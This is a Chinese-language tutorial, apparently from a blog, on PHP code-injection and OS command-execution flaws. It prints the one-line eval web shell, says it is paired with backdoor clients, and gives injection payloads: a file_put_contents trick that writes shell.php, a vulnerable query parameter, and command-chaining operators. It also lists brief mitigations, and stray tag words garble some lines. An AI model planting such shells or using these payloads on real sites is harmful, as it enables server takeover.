網站對用戶的輸入過濾出現問題,同時網站的腳本編寫用到一些危險函數 eval()
,assert()
。若是被攻擊者發現漏洞,直接可能形成攻擊者徹底控制整個web甚至是服務器。至關於web後門的存在。php
若是服務器沒有正確的配置,web用戶的權限相對較高,那就不可描述天馬行空了。linux
eval()會將字符串看成 php 代碼執行。web
<?php @eval($_POST['shell']);?>
正則表達式
用post方法接收變量shell,把變量shell裏面的字符串當作php代碼來執行。** 變量shell也稱爲密碼,經常使用蟻劍菜刀等工具進行後門鏈接。**shell
因此,只要咱們能經過post 方法,以 shell爲變量名,值爲執行代碼就能夠直接經過post 來操做對方的網站,菜刀也是經過這樣的方法,不過他傳入的代碼比較複雜。windows
shell=phpinfo();
shell=${phpinfo();}
數組
同eval()
一致。服務器
preg_replace 函數執行一個正則表達式的搜索和替換。session
preg_replace 函數執行一個正則表達式的搜索和替換。函數
語法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
參數說明:
$pattern: 要搜索的模式,能夠是字符串或一個字符串數組。
$replacement: 用於替換的字符串或字符串數組。
$subject: 要搜索替換的目標字符串或字符串數組。
$limit: 可選,對於每一個模式用於每一個 subject 字符串的最大可替換次數。 默認是-1(無限制)。
$count: 可選,爲替換執行的次數。
preg_replace("\/[(.*)\]/e", '\\1', $code); 這裏的$code會被執行
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一個參數是用戶的函數,從第二個起就是這個函數的參數。
<?php function barber($type) { echo "You wanted a $type haircut, no problem\n"; } call_user_func('barber', "mushroom"); call_user_func('barber', "shave"); ?> You wanted a mushroom haircut, no problem You wanted a shave haircut, no problem
$a做爲一個變量存儲可變的函數名稱。傳來的信息便可成爲執行函數。
<?php $a = 'eval' ; $a( "phpinfo();") ; == eval("phpinfo();") ?>
直接獲取shell: <?php @eval($_POST['shell']);?>
獲取當前文件路徑: __FILE__返回當前文件的絕對路徑 print(__FILE__)
讀文件: file_get_contents()
讀取已知路徑且具備讀寫權限的文件。
C:\windows\system32\drivers\etc\hosts # Windows的 host文件地址
寫文件: file_put_contents()
寫已知路徑且具備讀寫權限的文件
先提交這段代碼file_put_contents($_POST[1],$_POST[2])
,再傳入參數1=shell.php&2=<?php phpinfo();?>
建立shell.php 而且寫入了一句話。
除了獲取shell其餘都不是那麼重要,工具裏都已經寫好了,直接經過工具一連,什麼都有了。
儘可能不要用eval等函數。嚴格的用戶過濾。經過配置文件disable_functions
禁止某些函數的使用。
存在 php代碼注入漏洞
漏洞點:?searchtype=5&tid=&area=phpinfo()
腳本語言開發網站功能十分迅速,可是,若是咱們須要用到一些其餘語言編寫的程序呢,把結果返回給用戶。那就會用系統的一些命令去執行其餘語言編寫的程序。只要涉及到了這些,那麼極可能就會存在用戶輸入沒有過濾而致使命令執行漏洞。
幾乎你的命令窗口能幹什麼,這個漏洞就能幹什麼....
system($str)
能夠將字符串做爲系統命令執行,並有結果顯示。
exec($str)
函數能將字符串做爲 OS命令執行,須要輸出結果。
print exec($str);
shell_exec($str)
函數能將字符串做爲 OS命令執行,須要輸出結果。
print shell_exec($str);
passthru($str)
函數能將字符串做爲 OS命令執行,不須要輸出結果。
popen($str)
函數能將字符串做爲 OS命令執行,沒有結果顯示,而是返回一個文件指針,咱們能夠將結果寫入一個文件中,再查看便可。
popen("ipconfig >> 1.txt");
反引號函數能將字符串做爲 OS命令執行。
ipconfig
;基本就是一些 系統命令的利用。這裏再也不詳述。
windows linux mac 各類系統命令。
一個本地滲透測試的平臺。包含
漏洞的測試。
知識點:
windows 或 linux 下: command1 && command2 先執行 command1,若是爲真,再執行 command2 command1 | command2 只執行 command2 command1 & command2 先執行 command2 後執行 command1 command1 || command2 先執行 command1,若是爲假,再執行 command2 命令執行漏洞(| || & && 稱爲 管道符